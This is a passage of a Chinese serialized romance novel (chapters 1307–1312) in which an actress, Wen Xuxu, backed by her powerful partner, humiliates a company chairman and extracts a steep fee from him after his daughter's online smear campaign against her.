“不好意思,”她终于开口,声音轻飘飘的,带着一丝刚被亲吻后的微哑,“刚才没忍住,跟我们黎少亲热了一会儿,你有什么事,赶紧说吧。” 她语气自然得仿佛在谈论天气,可说出的内容却让王建豪瞬间僵住。 “……” 他张了张嘴,喉咙像是被什么堵住了,一个字也吐不出来。 亲热? 当着他的面? 还开着免提? 王建豪只觉得太阳穴突突直跳,一股血气直冲脑门。 他活了半辈子,见过无数场面,可从没见过如此肆无忌惮、如此不把他放在眼里的女人。 她就这么大大咧咧地说出来,仿佛这世上根本没有“羞耻”二字。 不要脸吗? 他心里怒吼,可这句质问却死死卡在喉咙里,一个字也不敢吐出来。 他当然不敢。 因为此刻,黎云笙就坐在她身旁,沉默地吃着饭。只要他一个眼神,一个动作,王氏集团就可能帝城的商业版图上彻底消失。 他只能忍。 忍下这口恶气,忍下这份屈辱,忍下对温栩栩的憎恶与不甘。 他深吸一口气,努力让自己的声音听起来平和、诚恳,甚至带点可怜:“温小姐啊,网络上那些事,闹得太大了……王氏的股票,已经一直在跌停了。我……我是想着,这事儿跟你多少有点关系,要不,你出个面,帮我们王家说句话?或者,给我们王家的产品做个代言?这样也好让你的粉丝闭嘴,别再揪着我们不放了。” 他语气恳切,仿佛真是走投无路为家族存亡低声下气。 可温栩栩却笑了。 她将一颗红艳艳的圣女果塞进嘴里,汁水在唇齿间爆开,酸甜的滋味让她眯起了眼。 她一边咀嚼,一边含糊不清地反问:“难道王氏的股票不该跌吗?” 一句话,轻飘飘,却重如千钧。 王建豪嗓子一紧,像是被无形的手扼住,呼吸都变得困难。 “温小姐,”他艰难地开口,声音干涩,“这次的事情……本就闹得不算大,而且你也没有什么损失,不是吗?” 他试图用最温和的方式淡化矛盾,可这话一出口,连他自己都觉得荒谬。 没有损失? 温栩栩照片被恶意剪辑,舆论被刻意引导,她本人更是被贴上“心机女”“攀高枝”的标签,在社交平台上被万人唾骂。而王家却坐视不理,甚至暗中推波助澜,只为打压温栩栩。 现在,他竟说“没有损失”? 温栩栩差点笑出声。 她慢悠悠地倒了杯鲜橙汁,冰块在玻璃杯中轻轻碰撞,发出清脆的声响。 她拿起吸管,慢条斯理地吸了一口,故意让吸管与杯壁摩擦,发出“咕嘟咕嘟”的声音,像是在刻意膈应电话那头的人。 若是往常,王建豪早就不耐烦地挂断电话,甚至破口大骂。可此刻,他只能咬牙忍着,手指紧紧攥住手机,指节发白。 他不敢。 第1307章 心底的不安悄然滋长 他清楚地知道,只要他敢说一句重话,温栩栩只需在黎云笙耳边轻语几句,王氏集团就会被资本的洪流瞬间吞没。 黎家的影响力,足以让任何一家企业一夜之间破产清算。 他只能忍。 “温小姐,”他再次开口,声音里已带上了几分哀求,“我知道之前的事是双双做得不对,她年轻气盛,不懂事……可王氏上下几千名员工,不能因为她一个人的错误就跟着遭殃啊。你要是能出面说句话,哪怕只是发个微博,说‘事情已经过去,希望大家理性看待’,也行……” 温栩栩听着,嘴角的笑意却越来越冷。 她终于放下吸管,抬眼看向身旁的黎云笙。 他不知何时已停下了用餐的动作,正静静地看着她,黑眸深邃,却带着一丝若有若无的笑意,像是在看她如何应对这场“闹剧”。他没有插话,却像一座山,稳稳地立在她身后,给予她无声的支持。 温栩栩心头微动。 她再度对上王建豪,语气依旧轻慢,却多了几分不容置疑的锋利:“王建豪,你女儿说我是‘靠男人上位的狐狸精’,说我‘勾引你破坏你们家庭’,还放出那些经过剪辑的照片,煽动粉丝网暴我。现在你跑来跟我说‘年轻气盛’?” 她冷笑一声:“那我问你,如果今天被网暴的是你老婆,被贴标签的是你女儿,你还能这么轻飘飘地说一句‘年轻气盛’吗?” 王建豪哑口无言。 他张了张嘴,想辩解,却发现所有语言都显得苍白无力。 温栩栩却不给他喘息的机会,继续道:“你说王氏股票下跌,员工要失业。可你有没有想过,那些被你们王家压榨的供应商?那些被你们虚假宣传欺骗的消费者?他们失业的时候,你在哪里?他们维权的时候,你又在哪里?” 她声音渐冷:“现在你女儿惹了祸,你才想起‘社会责任’?你才想起‘员工生计’?王建豪,你是不是觉得,只要有钱,就能为所欲为?只要低头,别人就该原谅?” 电话那头,王建豪的脸色早已惨白如纸。 他没想到温栩栩会如此尖锐,如此不留情面。他原以为她不过是个依附男人的女人,只要给点好处,就能轻易摆布。可此刻,她却像一把出鞘的利刃,字字见血,句句诛心。 “我……我不是这个意思……”他艰难地辩解,“我只是希望……能和平解决……” “和平解决?”温栩栩轻笑,“那你先去把你女儿发的那些微博删了,再让她公开道歉,澄清事实。等她做到了,我们再谈‘和平’。” “这……”王建豪犹豫了。 温栩栩知道王建豪疼王双双,这是担心王双双被人笑话了。 “还有,你之前说要我代言你们王家的东西。”温栩栩嘲讽,“你真的当我是蠢货?” 王建豪彻底沉默了。 他以为温栩栩不懂,可她比谁都清楚。 她知道,一旦她接了王家的代言,就等于变相承认了王家的“清白”,她的粉丝若再继续声讨王家,就会被人骂“脑残”“双标”“姐姐都不在乎你们还闹什么”。她这是在逼着她的支持者闭嘴。 可她偏偏,不会让他得逞。 “温小姐,”王建豪终于开口,声音疲惫而沙哑,“那你说,要怎样才肯帮忙?” 温栩栩没有立刻回答。 她转头看向黎云笙,后者正静静地看着她,眼神深邃,却带着一丝赞许。 她忽然觉得心口一暖。 她拿起叉子,轻轻戳了戳盘中的鱼肉,慢条斯理道:“我可以帮你。” 王建豪眼睛一亮。 “但有个条件。” “你说!” “王双双必须在几大三大平台,发布道歉视频,内容要承认造谣、煽动网暴的事实,并向我公开致歉。” 她语气平静,却字字如铁。 王建豪脸色瞬间惨白:“这……这太苛刻了!” “那你就继续看着股票跌吧。”温栩栩耸耸肩,语气轻佻,“反正我不急。黎氏最近正想找点新项目投资,说不定,王氏就是下一个‘优质标的’。” 她这话一出,王建豪如遭雷击。 他明白温栩栩不是在谈条件。 她是在宣判。 而他,没有讨价还价的资格。 电话那头,久久沉默。 温栩栩也不催,只是轻轻搅动着杯中的橙汁,冰块叮咚作响,像在为这场对话画上冷酷的休止符。 良久,王建豪终于开口,声音虚弱而绝望:“……我……我会跟双双商量的。” 温栩栩笑了,笑意却不达眼底。 “好啊,我等你消息。” 说完,她干脆利落地挂断了电话。 房间内终于恢复了宁静。 黎云笙看着她,忽然开口:“你不怕他狗急跳墙?” 温栩栩挑眉,笑意狡黠:“他不敢。他现在唯一能指望的,就是我放过他。而我,偏偏最擅长让人绝望。” 黎云笙低笑出声,抬手轻轻揉了揉她的发:“你啊,越来越像个小恶魔了。” 温栩栩靠进他怀里,闭上眼,轻声道:“可你不是最喜欢这样的我吗?” 她的声音很轻,像一片羽毛落在湖面,泛起细微却绵长的涟漪。发丝轻轻扫过黎云笙的下颌,带着淡淡的栀子花香,那香气仿佛也钻进了他的心口,温柔地缠绕着。 他没有回答,只是将她搂得更紧,手臂收拢的力道几乎带着几分近乎执拗的占有欲,仿佛稍一松手,她就会如烟似雾,从指缝间悄然溜走。 他确实是喜欢这样的温栩栩。 喜欢她锋芒毕露、言语如刀,将那些曾伤害她的人一一击退;喜欢她在他面前肆无忌惮地撒娇、狡黠、甚至带着点恶作剧的坏笑;喜欢她明明聪慧敏锐,却仍保有那份不被磨平的棱角与骄傲。 她不再是那个在舆论风暴中独自挣扎的孤勇者,而是真正长出了翅膀的凤凰,在烈火中重生,灼灼其华。 可越是喜欢,他心底的不安便越是悄然滋长。 他能护她周全,能为她扫清前路的荆棘,却始终看不透她眼底最深处的那抹情绪。 第1308章 怕的是权力的崩塌 黎云笙想,温栩栩的心里,是不是真的有他? 她靠在他怀里时的依恋,是依赖,是信任,还是仅仅因为他是她此刻最坚实的依靠? 她对他笑,是因为心动,还是因为这场博弈中,他恰好站在她这一边? 她一次次在他面前展露柔软,可那柔软之下,是否仍有一扇他无法推开的门? 黎云笙从来不是个会为情感所困的人。可面对温栩栩,他竟第一次生出了“无力感”。 他可以算尽人心,却算不准她的心意。 可即便如此,他也不曾退却。 不管温栩栩心里是不是真的有他,他的心里,永远都会有温栩栩。 这份感情,不是一时心动,而是深入骨血的执念。 无论她是否回应这份感情,他都会一直在她身边。 他会是她最坚固的盾,最锋利的剑,最沉默的守护者。 这是他给温栩栩的承诺。 …… 王建豪的车在夜色中疾驰,轮胎碾过湿滑的路面,发出沉闷的嘶响。 雨刚停,空气中弥漫着潮湿的泥土味,街边的霓虹灯在积水的倒影中扭曲成一片迷离的光晕。他握着方向盘的手指节发白,指腹因过度用力而泛出青白,额角的青筋微微跳动,显然压抑着翻涌的情绪。 他终于在王双双的公寓楼下停下,车门“砰”地一声被甩上,脚步急促而沉重地踏上楼梯。 三楼,302室,门虚掩着,透出一丝昏黄的光。 他推门而入,王双双正蜷在沙发一角,抱着膝盖,头发凌乱,脸色苍白,她听见动静,抬眼看了他一眼,又迅速垂下,仿佛连对视的勇气都没有。 “你还有脸坐在这儿?”王建豪的声音像炸雷般劈开寂静,他大步走过去,站在她面前,居高临下地盯着她,“你知不知道你干了什么好事?啊?你是不是脑子进水了?做事之前有没有想过后果?有没有想过这个家?想过我?” 王双双咬着下唇,一言不发,手指紧紧抠着沙发边缘,指节泛白。 她知道父亲会骂她,也知道自己错了,可她当时真的没想那么多,她只是气不过,只是想替朋友出头她也没想到事情会闹大到这种地步。 “你蠢不蠢?啊?”王建豪越说越气,声音在狭小的客厅里回荡,“你以为你是谁?你知不知道你做的这种蠢事让公司损失了多少?让多少人跟着你倒霉?你有没有脑子?有没有?” 他猛地一掌拍在茶几上,玻璃震得嗡嗡作响,水杯翻倒,水渍迅速在文件上晕开。 王双双的身体微微一颤,却依旧低着头,像一尊被钉在原地的雕像。 “我……我只是看不惯温栩栩欺负苏婉……”她终于小声开口,声音细若蚊蚋。 “看不惯?”王建豪冷笑,“你有资格看不惯吗?你有权力替公司做决定吗?你有本事承担后果吗?没有!你什么都没有!你只有任性!只有愚蠢!可笑至极!” 他喘着粗气,胸口剧烈起伏,眼神里是毫不掩饰的失望与愤怒。 他从小把她当掌上明珠,供她读书、给她资源,可她呢?却在最关键的时候,因一时冲动,把整个家族的努力推向悬崖边缘。 正骂得激烈,王建豪口袋里的手机突然尖锐地响了起来。 他皱眉掏出手机,看到来电显示时,脸色瞬间一沉。 来电的人是李董事。 他沉默两秒,才按下接听,语气立刻换上一副恭敬而克制的腔调:“李董事,这么晚了,您还没休息?” “我休息得了?”电话那头传来李董事低沉而冰冷的声音,带着明显的怒意,“王建豪,你女儿干的好事,现在全网都在骂我们集团压榨员工、操控舆论、打压异己!你看看股价!看看媒体!看看社交平台!我们成了众矢之的!你到底管不管?” 王建豪脸色铁青,握着手机的手微微发紧,他瞥了王双双一眼,后者立刻把头埋得更低。 “李懂事,我理解您的担忧,这件事我已经在处理了,王双双也意识到错误了,我们马上会发布正式道歉声明,后续也会配合调查……” “道歉?”李董事冷笑一声,“你以为道歉就能解决问题?现在不是道歉不道歉的事,是信任危机!是董事会对你的领导能力产生严重质疑!你知道现在有多少人想把你拉下来吗?啊?你知不知道你女儿这一闹,让我们所有人的脸都丢尽了?” 王建豪额角渗出冷汗,声音却依旧平稳:“我明白,我向您保证,三天之内,我会让舆论平息,股价回升,所有负面影响都会被控制住。” “三天?”李董事声音陡然拔高,“王建豪,你当这是儿戏?我给你二十四小时。明天下午五点前,我要看到王双双的公开道歉视频,要看到她诚恳认错,要看到你们集团的危机公关方案。否则——”他顿了顿,语气森然,“明天上午十点,我会在董事会上正式提出动议:,免你王建豪的董事长职务,由张副总暂代。” “李董!”王建豪猛地站直身体,声音都变了调,“您不能这样!这件事我会处理好,我已经联系上温栩栩了,她答应帮我一起商量应对方案。” “温栩栩?”李董事嗤笑,“王建豪,你别天真了,你们得罪了温栩栩,温栩栩还真能以德报怨的来帮你?究竟是你蠢还是你觉得我蠢?你现在唯一的出路,就是立刻、马上、无条件地平息舆论。否则,别怪我不讲情面。” “我……我明白。”王建豪咬牙,声音低沉,“我会做到的。二十四小时内,一定给您一个交代。” “最好如此。”李董事冷哼一声,电话“啪”地挂断。 王建豪站在原地,手机缓缓从耳边放下,脸色阴沉得能滴出水来。 他闭了闭眼,抬手用力捏了捏眉心,太阳穴突突直跳,一股难以言喻的疲惫与压力如潮水般涌上心头。 他不是怕舆论。 他怕的是权力的崩塌。 他坐上董事长的位置才三年,根基未稳,集团内部派系林立,多少双眼睛盯着他。 第1309章 要给足我金钱 李董事这一招,是冲着他的位置来的。一旦董事会启动罢免程序,哪怕最后没成功,他的威信也会一落千丈,再难服众。 而这一切,竟毁在自己女儿的一时冲动上。 他缓缓转身,看向王双双。 她依旧蜷在沙发上,头低着,肩膀微微发抖。 她听见了电话内容,知道父亲为了她,在董事面前低声下气,甚至搬出了温栩栩。她心里翻江倒海,愧疚、害怕、自责交织在一起,几乎要将她淹没。 王建豪看着她,眼神复杂。 有愤怒,有失望,但更多的,是一种近乎疲惫的无奈。 他走过去,在她对面的单人沙发上坐下,沉默良久,才开口,声音沙哑:“你听见了。” 王双双点头,眼泪终于忍不住滚落:“爸……我……我不是故意的……我真的没想到会这么严重……” “你从来就没想过严重。”王建豪苦笑,“你从小到大,我让你学管理,你跑去学表演,我让你进集团实习,你偏要在网络上胡闹。我让你低调做人,你偏要在网上出风头……你什么时候听过我的话?” 王双双泣不成声:“我知道错了……我真的知道错了……我马上道歉,我什么都听你的……求你别……别让董事会换掉你……” 王建豪看着她,忽然觉得一阵心酸。 这终究是他的女儿。 是他捧在手心养大的孩子。 他叹了口气,语气终于软了下来:“你不是错在说了什么,而是错在时机、方式、对象全错了。你得学会权衡,学会隐忍,学会在合适的时候,用合适的方式,做合适的事。” 王双双拼命点头,眼泪止不住地流:“我学……我以后一定学……” 王建豪站起身,走到窗边,望着外面漆黑的夜色,声音低沉而沉重:“我晚点再给温栩栩打个电话,先前已经提过邀请她为我们王氏代言,只要温栩栩代言了我们王氏的东西,有些流言就不攻自破了,稍后你一定要听话一些不要继续冲动针对温栩栩,让你道歉你就道歉,听到没有。” “好……我照做。”王双双哽咽着。 王建豪转过身,看着她,眼神里终于有了一丝温度:“还有,从今天起,你所有的社交账号交给我管理。你不能再随便发声。等这件事过去,我会给你安排一次闭关学习,学公关,学舆情,学怎么在权力场中说话。” 王双双抬起头,泪眼朦胧地看着他:“爸……对不起……我真的……不该这么冲动……” 王建豪走回她身边,轻轻拍了拍她的肩,动作生硬,却带着一丝久违的温柔:“别说了。现在最重要的是补救。你记住,在这个世界上,感情用事是最奢侈的错误。 而我们输不起。” 王双双用力点头,把脸埋进膝盖里,肩膀剧烈地颤抖着。 王建豪坐在宽大的皮椅中,领带松垮,额角渗着细密的汗珠,指尖微微发颤。 刚刚与李董事的交锋让他元气大伤,王双双的鲁莽行为,已将整个王氏集团推至悬崖边缘。 股价持续下跌,媒体围追堵截,舆论如潮水般汹涌,他必须在二十四小时内扭转局面。 而此刻,他唯一的希望,落在温栩栩身上。 他深吸一口气,手指在手机屏幕上迟疑了一瞬,终究还是按下了拨号键。电话响了三声,便被接起。 这次温栩栩好像没在戏耍他了。 “喂?”温栩栩的声音从听筒那头传来,慵懒、清冷,带着一丝若有若无的笑意,仿佛早已料到他会打来。 “温小姐,是我,王建豪。”他努力让自己的声音听起来平稳,甚至带上几分久别重逢的亲切,“这么晚打扰你,实在不好意思……但情况紧急,我必须亲自跟你谈。” 温栩栩轻笑一声,那笑声像一缕风,轻飘飘地掠过电话线,却带着刺骨的寒意:“王董,你这通电话来得可真快。现在网络上那些人把你们王氏的‘家丑’全抖了出来,全网都在看热闹。你这会儿就找上我,是想让我帮你擦屁股?” 王建豪脸色一僵,喉结滚动了一下,强压下心头的不悦,依旧赔着笑:“你说话还是这么直接。但你说对了,我确实需要你帮忙。我想正式邀请你,代言王氏集团即将推出的新品系列,作为品牌形象大使,全面参与我们的危机公关与品牌重塑。” 电话那头沉默了几秒。 随即,温栩栩低低地笑了起来,那笑声不带温度,反而像在听一个荒唐的笑话。 “王董啊王董,”她慢条斯理地开口,“你任由王双双在公众场合对我冷嘲热讽,任由她煽动粉丝网暴我,任由她把我塑造成一个心机深沉、蛊惑人心的‘反派’时,你有没有想过外人会怎么看我?有没有想过我的名声、我的事业、我的生活被你们父女俩当成棋子一样践踏?” 她的声音并不高,却字字如针,扎进王建豪的耳膜。 “那时候,你可没提什么‘交情’。现在你走投无路了,倒想起我们之间的情分了让我来代言王氏的品牌?”温栩栩冷笑,“别跟我提交情,我们之间本就没有什么情分了。” 王建豪沉默,手指无意识地敲击着桌面,发出沉闷的声响。 他知道,温栩栩说得没错。当初王双双攻击温栩栩“靠男人上位”“心机深沉”“破坏他人家庭”时,他并未出面制止,甚至默许了这场舆论战,可他没想到,这把火,最终烧到了自己身上。 “不过”温栩栩缓缓道,声音恢复了平静,却更显锋利,“你想要我为王家说话,甚至为王家做代言,不是不可以。” 她顿了顿,像在品味对方的紧张。 “但你要给足我金钱。” 王建豪瞳孔一缩。 “你……你说什么?” “钱。”温栩栩重复,语气轻描淡写,却重如千钧,“我不会免费为王家站台。你请我当帮王家说话的‘救火队员’,那也是要花钱的。按照现在王家这烂摊子,只有我出面才能救一救,不然,明天一早,你们的市值就得蒸发上亿。” 第1310章 就是一场骗局 “我现在正处在事业巅峰期,阿笙全力捧我,资源不断,热度不减。我凭什么要为了你们王家,去得罪全网的舆论,去背这个锅?” 她一边说着,一边慢条斯理地转动手中的叉子,银质的餐具在灯光下泛着冷光,像她此刻的眼神。 “你要我以德报怨?抱歉,我没有那么大的善心,去原谅那些对我舞刀弄枪的刽子手。” 王建豪知道温栩栩说得对。 她不是慈善家,她是商人,是精明的经营者。 而他,现在是那个求人办事的人。 “所以……你想要多少?”他终于开口,声音干涩,像砂纸摩擦。 温栩栩轻笑:“五千万。” “五千万?!”王建豪猛地从椅子上弹起,一掌拍在桌上,震得茶杯跳动,“你还真是狮子大开口!五千万!你当是五十块还是五百块?我上哪儿给你找五千万?你知不知道现在集团现金流紧张,股价暴跌,我连员工工资都快发不出了!” 他几乎是在咆哮,脸色涨得通红,额角青筋暴起。 五千万,对他而言不是小数目,尤其是在这个节骨眼上。这几乎相当于王氏三个月的净利润。他可以挪用,但代价是更大的财务风险,甚至可能引发内部审计的警觉。 温栩栩却像是听到了什么好笑的事,轻笑着反问,“王董,你是不是对‘危机’的代价有什么误解?你以为我出面只是说几句话、拍个广告片那么简单?” 她语气一沉:“我要承担的,是全网的骂名,是粉丝的质疑,是舆论的反噬。我要重新塑造王家的品牌形象,要压下那些负面新闻,要让公众相信王氏还是值得信赖的企业,这需要多少资源?多少人脉?多少时间与精力?五千万,已经是给你打了折的。” 她顿了顿,声音忽然压低,带着一丝蛊惑般的意味:“而且……你别忘了,如果我不接这个活,你还能找谁?如果我没猜错,你现在这么着急的找我,肯定是董事会那边给你施压了,大概也就给你一天时间处理这次的事情,而我,是唯一能帮你拖住时间的人。所以你要想清楚,到底做出什么选择才是最正确的。” 王建豪呼吸急促,胸口剧烈起伏。他知道,温栩栩说的每一句都是事实。只要她愿意站出来为王氏背书,舆论风向立刻就能扭转。 毕竟,如果温栩栩都接了王氏的代言,说明温栩栩和王氏之间没有矛盾了,那粉丝自然也就不会继续追着王氏骂了。 可五千万……实在太狠了。 “你……你这是趁火打劫。”他咬牙道。 “趁火打劫?”温栩栩轻笑,“王董,商场如战场,从来都是价高者得。你当年收购林氏的时候,不也把对方逼到绝境,最后以三折价格拿下?现在轮到你了,怎么,就接受不了现实了?” 她语气一转,忽然温柔了几分,却更让人不寒而栗:“当然,你也可以不跟我谈。那我就请宋律师跟你谈。” “宋律师?”王建豪心头一紧。 “对,宋婉榕。”温栩栩慢悠悠道,“她现在是我的全权法律顾问,也是我所有商业合作的谈判代表。如果你觉得我开的价高,那你可以试试跟她谈,不过,我劝你一句,她可不像我这么好说话,如果真的换成了宋律师,那可能就不只是五千万了。” 她笑得意味深长。 王建豪彻底沉默了。 他知道宋婉榕,业内最狠的商业律师之一,专攻危机公关与天价索赔。 如果真让她介入,温栩栩的“代言费”恐怕就不是五千万,而是两个五千万,或许还要外加王氏未来三年的利润分成。 他闭上眼,深吸一口气,再睁开时,眼中已满是疲惫与妥协。 “好……”他沙哑着声音,像从喉咙里挤出最后一个字,“五千万,我可以给你。但你必须立刻行动,明天上午十点前,我要看到你签署的合作意向书,下午五点前,我要看到你的公开声明。” 温栩栩轻笑:“爽快。不过王董,钱的事,我们得先到账再开工,定金五百万,今晚打过来,算是诚意。” “现在?”王建豪几乎要跳起来,“这么晚了,财务都下班了!” “那你就亲自去银行,或者让财务加班。”温栩栩语气轻柔,却不容置疑,“不然,明天一早,我就会发微博:‘关于王氏集团邀请我代言一事,我已委托宋律师全权处理,具体条款正在洽谈中。’你觉得,这条微博一发,股价会跌到什么程度?” 王建豪脸色铁青,几乎能听见自己牙关咬碎的声音。 他终于明白,他这分明就不是在谈合作,他是在交赎金。 而温栩栩,早已不是当初那个可以被他轻视、被他女儿随意羞辱的“边缘人物”。 她如今是站在食物链顶端的猎手,而他,是那个被逼到绝境的猎物。 “好……”他终于开口,声音嘶哑得像被砂纸磨过,“我……安排。” “聪明。”温栩栩满意地笑了,“王董,别怪我狠。这世上,从来都是谁掌握主动权,谁定规矩。而现在,规矩由我来定。毕竟你心里也清楚我从来都不是什么以德报怨的人呢。” 电话挂断。 温栩栩脸上是止不住的笑意,整个人笑眯眯的歪倒在黎云笙怀里。 她跟王建豪通电话的时候黎云笙就在一旁,温栩栩和王建豪说了什么黎云笙都能听到。 他握住温栩栩的手很轻很轻的揉弄了下:“为什么答应帮王建豪。” 在黎云笙看来,温栩栩不是那种会为了这点“蝇头小利”低头的人。 温栩栩轻笑一声:“合同书里面有说如果王氏的东西被爆出品质有问题我可以直接不参与代言,甚至于王氏还要陪我一笔损失费。” “王氏的东西本来品质就有保障,所以不用等我拍广告王氏就要被毁掉,甚至王氏还要夺赔我一笔钱。” “从一开始我就没想过为王氏代言。” 王氏,不配。 第1311章 真是巧得离谱 王建豪挂断电话的那一刻,指尖微微发颤,手机“啪”地一声被他重重搁在桌上,发出一声闷响,像是他内心压抑已久的焦躁终于找到了出口。 房间里静得可怕,只有墙上那座老式挂钟在不紧不慢地“滴答、滴答”走着,每一声都像敲在他心上。 他靠在椅子上,仰头望着天花板,眉心紧锁,额角渗出细密的汗珠。 他闭了闭眼,深吸一口气,终于还是取了王双双的电脑,点开自己的邮箱,翻看财务报表。 他开始一笔一笔地算。 公司账上可用的流动资金,扣除掉即将到期的贷款、供应商的应付账款、员工的薪资预留,以及几个正在推进的项目所需周转金……一项项扣除下来,原本看似庞大的数字迅速缩水,最终定格在一个令他心头一沉的数额上,四千九百八十万。 差一点,就差一点,刚好够温栩栩开口要的那五千万。 王建豪的手指停在屏幕上,指尖冰凉。 他盯着那个数字,仿佛要把它看穿。 他忽然冷笑一声,声音低哑:“真巧啊……真是巧得离谱。” 他不是傻子。温栩栩要的这五千万,不多不少,刚好是他目前能动用的全部流动资金。 一分不多,一分不少。这绝不是巧合。 这像是有人早就摸清了他的底细,精准地卡在了他的命脉上,一刀下去,不致命,却让他动弹不得。 “她这是早就算好了。”王建豪喃喃自语,声音里带着一丝被算计的愤怒与无力,“故意的……一定是故意的。” 他靠在椅背上,闭上眼,脑海中浮现出温栩栩那张清冷又倔强的脸。现在看来,她根本不是在漫天要价,而是在精准地“收割”。 如果真把这五千万给了她,公司账上就只剩下十几二十万,连下个月的水电费都未必够付。项目会停滞,员工会动荡,合作方会撤资……整个王氏娱乐的运转体系,可能就此崩塌。 他不是输不起,而是输不起这个代价。 “爸。”一个轻柔的声音从门口传来。 王建豪睁开眼,看见女儿王双双站在门口,手里端着一杯温水,眼神里满是担忧。 她走过来,将水杯放在桌上,小心翼翼地在沙发上坐下,声音放得极轻:“我都听到了。” “我担心你。”王双双抿了抿唇,眼神真诚,“爸,我觉得温栩栩说这些话,可能就是吓唬人,或者……就是想多要点钱。她现在又没红,粉丝量也就那样,微博转发不过万,代言一个没有,凭什么开口就要五千万?这价格,都快赶上一线顶流了。” 她顿了顿,见父亲没有立刻反驳,胆子大了些:“我们可以谈啊,可以讲价啊。凭什么她说多少就是多少?五千万,砍到三千万,甚至两千万、一千万,都不过分。她现在不红,爸你捧她,是给她机会,她该感恩才对,怎么还敢这么嚣张?” 王建豪原本烦躁的心,在听到女儿这番话后,竟奇异地平静了下来。 他看着王双双,眼神从最初的不耐,渐渐转为一丝思索。 是啊。 他怎么没想到? 温栩栩现在确实没红。她虽然有潜力,有演技,有观众缘,但还没真正爆红。 温栩栩又没有完全爆红凭什么要这么多钱?配吗? “你说得对。”王建豪忽然开口,声音沉稳了许多,“我太急了,被她那副笃定的样子吓住了。” 他重新拿起手机,手指在屏幕上快速滑动,调出温栩栩的号码,眼神变得锐利:“她以为吃定我了?好,那我就跟她谈一谈。” 王双双松了口气,脸上露出笑意:“对嘛,谈一谈,说不定她自己也知道要多了,愿意让步。” 王建豪没说话,只是深吸一口气,按下了拨号键。 另一边,温栩栩正赖在黎云笙的怀里。 黎云笙坐在公寓客厅的沙发上,穿着一件宽松的米白色针织衫,袖口卷到手肘,露出结实的小臂。 他一手环着温栩栩的腰,另一手轻轻揉着她的发,动作温柔有点像是哄人,温栩栩穿着柔软的居家裙,发丝微乱,脸颊泛着淡淡的红晕,整个人都透着一股被宠爱的慵懒与满足。 手机就放在茶几上,屏幕亮起,来电显示“王建豪”三个字。 铃声固执地响着,一遍又一遍。 温栩栩皱了皱眉,不情愿地动了动,在黎云笙怀里蹭了蹭,像在撒娇:“烦死了……他又打来了。” 黎云笙低头看她,嘴角带着浅笑,声音低沉悦耳:“不想接?那我帮你接?” “唔……”温栩栩仰头看他,眼睛亮晶晶的,带着点狡黠,“不用,这件事没那么难解决,我来处理就好了。” 她撑起身子,伸手去拿手机,动作慢悠悠的,一点也不着急。 黎云笙看着她,眼神温柔又纵容:“真的能行?” “当然。”温栩栩挑眉,嘴角扬起一抹自信的弧度,“他现在急了,说明我开的价,刚好卡在他最痛的地方。这种时候,他一定会回头谈。” 她按下接听键,语气轻快得像是在接一个普通朋友的电话:“王总,这么快就想通了?” 王建豪在电话那头沉默了一瞬,似乎没料到她语气如此轻松。 他清了清嗓子,努力让自己的声音听起来镇定:“温小姐,五千万这个数目,是不是有点太高了?你现在的市场价值,恐怕还达不到这个水平。” “哦?”温栩栩不慌不忙,靠回黎云笙怀里,手指轻轻绕着一缕发丝,“王总觉得,我值多少?” “三千万。”王建豪沉声道,“这已经是公司能承受的极限。而且,我可以保证,我也会帮你让你尽快爆红。你年纪还小,未来可期,何必急于一时?” 温栩栩轻笑一声,声音清脆:“三千万?王总,您这砍价的力度,可真是‘诚意满满’啊。” 她顿了顿,语气忽然一转,变得冷静而锐利:“王先生你也清楚这次是你的女儿王双双主动攻击我给我造成了损失,你这五千万可不仅仅是我的代言费,更是我的精神损失费,希望你能明白这一点。” 第1312章 你这是在威胁我 王建豪呼吸一滞。 “你……”他声音沉了几分,“你这是在威胁我?” 温栩栩语气平静:“王总,您是个聪明人。应该知道该怎么做。” 王建豪沉默良久,终于叹了口气:“……四千万。这是我最后的底线。” 温栩栩轻笑一声:“到底是你在开玩笑还是我听错了,你以为这是等着你来压价故意虚报了价格吗?” 电话那头,王建豪的声音明显比之前急促了许多,语速快得几乎有些喘不过气:“温小姐,温小姐你听我说!五千万……这个数目真的太高了,我……我拿不出来啊!” 他顿了顿,语气从强硬转为恳切,甚至带上了一丝近乎卑微的哀求:“你得体谅一下,王氏娱乐现在表面风光,实则资金链紧张。我刚才连夜翻了账本,流动资金根本没多少,五千万……五千万真不是小数目,我砸锅卖铁也凑不出这么多现钱啊!” 温栩栩靠在黎云笙肩头,指尖轻轻绕着发丝,嘴角勾起一抹若有若无的笑。 她不紧不慢地开口:“王先生,你继续拖着吧。着急的可是你,可不是我。” 她顿了顿,语气忽然冷了几分,字字如冰:“你忘了?王家的股票最近本就在下跌,市场风声鹤唳。这时候要是有哪路资本嗅到味儿,趁机做空,你猜会怎样?王家股价一泻千里,董事会人心惶惶,银行追债,合作方撤资……到时候,王家的产业、别墅、地产,统统得被拍卖抵债!” 她语气轻飘飘的,却字字如刀:“反正,王家的股份和产业,没有一分是我的。你破产,我也不心疼。倒是你和王双双……啧,从前住着别墅,出门有司机,如今却要露宿街头,想想还真是可怜。” 她说到这里,竟像是来了兴致,声音微微上扬,带着几分讥诮:“你说,到时候你们父女俩,是不是得去睡大街?帝城那些资本圈的人,哪个是干净的?一个个都像阴沟里的臭虫,闻着血腥味就往上扑。王家一旦出事,他们不落井下石就不错了,你难道还指望有人拉你一把?” 黎云笙听着她这番话,忍不住低头看了她一眼,眼神里带着几分笑意与宠溺。 他没说话,只是轻轻握住她的手,掌心温热,像是在无声地护着她。 温栩栩回握他,继续对着电话道:“王总,你不是聪明人吗?怎么连这点风险都看不清?真到了那一天,大众不会同情你,只会骂你活该。谁让你们王家后来还想用舆论压我?大家都知道,是你们先来招惹我的。你若想控制舆论整我,那才真是自取其辱。” 她语气一转,忽然带了点“善意”的提醒:“所以啊,王总,与其想着怎么压我,不如想想怎么自救。你要是真想保住王家,保住双双的未来,就别在这时候跟我硬扛。” 她顿了顿,声音压低,像是在说一个荒诞的玩笑:“要不……你把你最亲最亲的大女儿王双双卖出去,换点钱?反正你眼里心里从来只有你自己,不是吗?到时候,你照样能过得舒舒服服,王双双嘛……就看她命好不好了。” “温栩栩!”王建豪终于忍不住低吼出声,声音里满是愤怒与屈辱。 可这怒吼,却透着浓浓的无力。 他知道,她说的不是威胁,而是现实。 王家的股价已经在动荡,董事会已经开始有人动摇。 若此时他与温栩栩彻底撕破脸,舆论必然倒向她。那些本就虎视眈眈的资本,一定会趁机出手。 王家几十年的基业,可能真的会在一夜之间崩塌。 